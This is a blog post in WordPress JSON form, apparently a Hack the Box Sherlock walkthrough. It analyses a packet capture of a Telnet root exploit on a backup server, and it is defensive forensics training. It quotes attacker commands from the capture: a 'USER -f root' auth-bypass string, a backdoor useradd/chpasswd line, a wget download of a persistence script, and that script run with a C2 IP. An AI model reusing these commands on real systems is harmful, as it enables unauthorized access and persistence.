{"id":2001,"date":"2026-04-23T18:01:04","date_gmt":"2026-04-23T22:01:04","guid":{"rendered":"https:\/\/www.peteonsoftware.com\/?p=2001"},"modified":"2026-04-23T18:01:04","modified_gmt":"2026-04-23T22:01:04","slug":"hack-the-box-walkthrough-telly","status":"publish","type":"post","link":"https:\/\/www.peteonsoftware.com\/index.php\/2026\/04\/23\/hack-the-box-walkthrough-telly\/","title":{"rendered":"Hack the Box Walkthrough: Telly"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/2026\/telly_logo.png\" style=\"float:left;margin:.5rem;\" alt=\"Telly Logo\" title=\"Telly Logo\">Today, we&#8217;re going to attack a Hack the Box Sherlock called <a href=\"https:\/\/app.hackthebox.com\/sherlocks\/Telly?tab=play_sherlock\">Telly<\/a>.  You need to download the attached zip and extract it with the password <em>hacktheblue<\/em> to get started.  Here&#8217;s our scenario.<\/p>\n<p><em>You are a Junior DFIR Analyst at an MSSP that provides continuous monitoring and DFIR services to SMBs. Your supervisor has tasked you with analyzing network telemetry from a compromised backup server. A DLP solution flagged a possible data exfiltration attempt from this server. According to the IT team, this server wasn&#8217;t very busy and was sometimes used to store backups.<\/em><\/p>\n<p>Okay.  Let&#8217;s get started.  Inside the zip is one network capture file, <em>monitoringservice_export_202610AM-11AM.pcapng<\/em>.<\/p>\n<p><strong>Task 1: What CVE is associated with the vulnerability exploited in the Telnet protocol?<\/strong><\/p>\n<p>First we&#8217;ll search to limit to just telnet traffic, since that&#8217;s what they are telling us to focus on.  I just put telnet in the search bar and hit enter.  These were my results.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/2026\/telly_task1_initialsearch.jpg\" alt=\"Our initial search for Task 1\" title=\"Our initial search for Task 1\"><\/p>\n<p>Right click on that first packet (No. 47) and select Follow -> TCP Stream.  You see this (I&#8217;m just showing the first few lines up until access is granted).<\/p>\n<pre>\r\n..%..&..... ..#..'..$\r\n..%..&..&........ ..#..'..$\r\n.. .....#.....'.........\r\n.. .38400,38400....#.kali:0.0....'..USER.-f root.DISPLAY.kali:0.0......XTERM-256COLOR..\r\n........\"........!\r\n........\"..\".....b........b....\tB.\r\n........\r\n............................0.......!\r\n..\".....\r\n..\"....\r\n..!............\"..\".............\t..\r\n........\r\n.............\r\nLinux 6.8.0-90-generic (backup-secondary) (pts\/1)\r\n\r\n\r\n........\"\r\nWelcome to Ubuntu 24.04.3 LTS (GNU\/Linux 6.8.0-90-generic x86_64)\r\n<\/pre>\n<p>I&#8217;m curious about that 4th line, so I&#8217;m going to google part of that and see if that is indicative of the attack itself.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/2026\/telly_task1_cvesearch.jpg\" alt=\"Google Search for Task 1 CVE\" title=\"Google Search for Task 1 CVE\"><\/p>\n<p>That shows us the answer in the AI overview as well as the top search result.<\/p>\n<p><em><strong>Task 1 Answer: CVE-2026-24061<\/strong><\/em><\/p>\n<p><strong>Task 2: When was the Telnet vulnerability successfully exploited, granting the attacker remote root access on the target machine?<\/strong><\/p>\n<p>Currently (for me, anyway), my time is being displayed in relative time since packet capture started.  If you go to <em>View -> Time Display Format -> UTC Date and Time of Day<\/em>, it will change and you can see the answer.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/2026\/telly_task2_timestamp.jpg\" alt=\"Packet 47 Timestamp\" title=\"Packet 47 Timestamp\"><\/p>\n<p><em><strong>Task 2 Answer: 2026-01-27 10:39:28<\/strong><\/em><\/p>\n<p><strong>Task 3: What is the hostname of the targeted server?<\/strong><\/p>\n<p>If we go back to that TCP stream that we followed starting at packet 47, we can see the entire convo.  After access was granted, they were dropped a command prompt with their user and the host: <em>root@backup-secondary<\/em>.<\/p>\n<p><em><strong>Task 3 Answer: backup-secondary<\/strong><\/em><\/p>\n<p><strong>Task 4: The attacker created a backdoor account to maintain future access. What username and password were set for that account?<\/strong><\/p>\n<p>Same stream, we can see the attacker issued these commands<\/p>\n<pre>\r\nsudo useradd -m -s \/bin\/bash cleanupsvc; echo \"cleanupsvc:YouKnowWhoiam69\" | sudo chpasswd\r\n<\/pre>\n<p><em><strong>Task 4 Answer: cleanupsvc:YouKnowWhoiam69<\/strong><\/em><\/p>\n<p><strong>Task 5: What was the full command the attacker used to download the persistence script?<\/strong><\/p>\n<p>This is really just becoming an exercise in how well we understand attacker actions.  If we stay in the stream and see what the attacker is doing, we can easily see what they downloaded \/ how they downloaded it.  There is some weird formatting because of the nature of typing and seeing responses and how long they may have delayed while typing, but here is the relevant part.  Within the capture, red is what the user entered and blue is the response.  That&#8217;s why you see it duplicated as they type.<\/p>\n<pre>\r\nw\r\nw\r\ng\r\ng\r\ne\r\ne\r\nt\r\nt\r\n \r\n \r\n.[200~https:\/\/raw.githubusercontent.com\/montysecurity\/linper\/refs\/heads\/main\/linper.sh.[201~\r\n<\/pre>\n<p><em><strong>Task 5 Answer: wget https:\/\/raw.githubusercontent.com\/montysecurity\/linper\/refs\/heads\/main\/linper.sh<\/strong><\/em><\/p>\n<p><strong>Task 6: The attacker installed remote access persistence using the persistence script. What is the C2 IP address?<\/strong><\/p>\n<p>Let&#8217;s keep scrolling in the stream and see what else they did.  I looked around but nothing jumped out at me immediately.  At this point, a lot of the commands were vertical with the repeated characters (one from the input, one from the output) and I wasn&#8217;t seeing it.  So I looked into that script that we saw being run from <a href=\"https:\/\/raw.githubusercontent.com\/montysecurity\/linper\/refs\/heads\/main\/linper.sh\">here<\/a>.  Inside that script, we see this:<\/p>\n<pre>\r\nEXAMPLES=\"Examples:\r\n\r\n\\e[33mPrint\\e[0m Commands that can be used to install persistence (assumes -d): bash linper.sh -i 192.168.1.2 -p 4444 --print \r\n<\/pre>\n<p>So we are looking for this script to be called with a <em>-i<\/em> and then the address.  Looking for that, I found this part:<\/p>\n<pre>\r\nbash linper.sh --enum-defenses\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\n.\r\n..[K\r\ni\r\ni\r\n \r\n \r\n.[200~91.99.25.54.[201~\r\n.[7m91.99.25.54.[27m\r\n.[C\r\n............91.99.25.54\r\n \r\n \r\n-\r\n-\r\np\r\np\r\n \r\n \r\n5\r\n5\r\n9\r\n9\r\n<\/pre>\n<p>You can see that the command <em>bash linper.sh &#8211;enum-defenses -i 91.99.25.54 -p 5599<\/em> was called and that gives us our answer.<\/p>\n<p><em><strong>Task 6 Answer: 91.99.25.54<\/strong><\/em><\/p>\n<p><strong>Task 7: The attacker exfiltrated a sensitive database file. At what time was this file exfiltrated?<\/strong><\/p>\n<p>As we&#8217;ve been getting familiar with this interaction, I&#8217;ve read over this stream several times and by this point, I remember seeing this file named <em>credit-cards-25-blackfriday.db<\/em> being referenced.  If you go <em>File -> Export Objects -> HTTP<\/em> from the Wireshark menu, you see this<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/2026\/telly_task7_exportedhttpobjects.jpg\" alt=\"Task 7 Exported HTTP Objects\" title=\"Task 7 Exported HTTP Objects\"><\/p>\n<p>We can see that it was exported in packet 9380.  If I click that row it takes me to the packet (if you still have the stream filter on, it will take you to 9378 instead&#8230; they have the same timestamp to the second, though).  I can see the date under the Time column.<\/p>\n<p><em><strong>Task 7 Answer: 2026-01-27 10:49:54<\/strong><\/em><\/p>\n<p><strong>Task 8: Analyze the exfiltrated database. To follow compliance requirements, the breached organization needs to notify its customers. For data validation purposes, find the credit card number for a customer named Quinn Harris.<\/strong><\/p>\n<p>Okay, we left the objects to see the timestamp on the packet.  Go back in <em>File -> Export Objects -> HTTP<\/em>, click the db row and click <em>Save<\/em> at the bottom.  Choose somewhere to save it and let&#8217;s analyze it.<\/p>\n<pre>\r\n$ file credit-cards-25-blackfriday.db \r\ncredit-cards-25-blackfriday.db: SQLite 3.x database, last written using SQLite version 3046001, file counter 7, database pages 3, cookie 0x7, schema 4, UTF-8, version-valid-for 7\r\n<\/pre>\n<p>We can see that it is SQLite, so let&#8217;s look further.  There only seems to be one table and the only identifier seems to be email.  So, I check at first to see if any email has quinn in the name and we find one row and that gives us the answer.<\/p>\n<pre>\r\n$ sqlite3 credit-cards-25-blackfriday.db\r\nSQLite version 3.46.1 2024-08-13 09:16:08\r\nEnter \".help\" for usage hints.\r\nsqlite> .tables\r\npurchases\r\nsqlite> .schema\r\nCREATE TABLE purchases (\r\n  id INTEGER PRIMARY KEY AUTOINCREMENT,\r\n  email TEXT NOT NULL,\r\n  creditcardnumber INTEGER NOT NULL,\r\n  purchase_date TEXT NOT NULL,   -- ISO date: YYYY-MM-DD\r\n  item_purchased TEXT NOT NULL\r\n);\r\nCREATE TABLE sqlite_sequence(name,seq);\r\nsqlite> select * from purchases where email like '%quinn%';\r\n12|quinn.harris@hotmail.com|5312269047781209|2025-12-08|4K monitor\r\n<\/pre>\n<p><em><strong>Task 8 Answer: 5312269047781209<\/strong><\/em><\/p>\n<p>And that&#8217;s it, we win.  That was actually a pretty fun investigation.  Let me know if you have any comments or rooms you&#8217;d like to see tackled.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/2026\/telly_solved.jpg\" alt=\"Telly Solved\" title=\"Telly Solved\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today, we&#8217;re going to attack a Hack the Box Sherlock called Telly. You need to download the attached zip and extract it with the password hacktheblue to get started. Here&#8217;s our scenario. You are a &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[153],"tags":[159,141,142],"class_list":["post-2001","post","type-post","status-publish","format-standard","hentry","category-capture-the-flag","tag-blue-team","tag-information-security","tag-infosec"],"_links":{"self":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/posts\/2001","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/comments?post=2001"}],"version-history":[{"count":0,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/posts\/2001\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/media?parent=2001"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/categories?post=2001"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/tags?post=2001"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}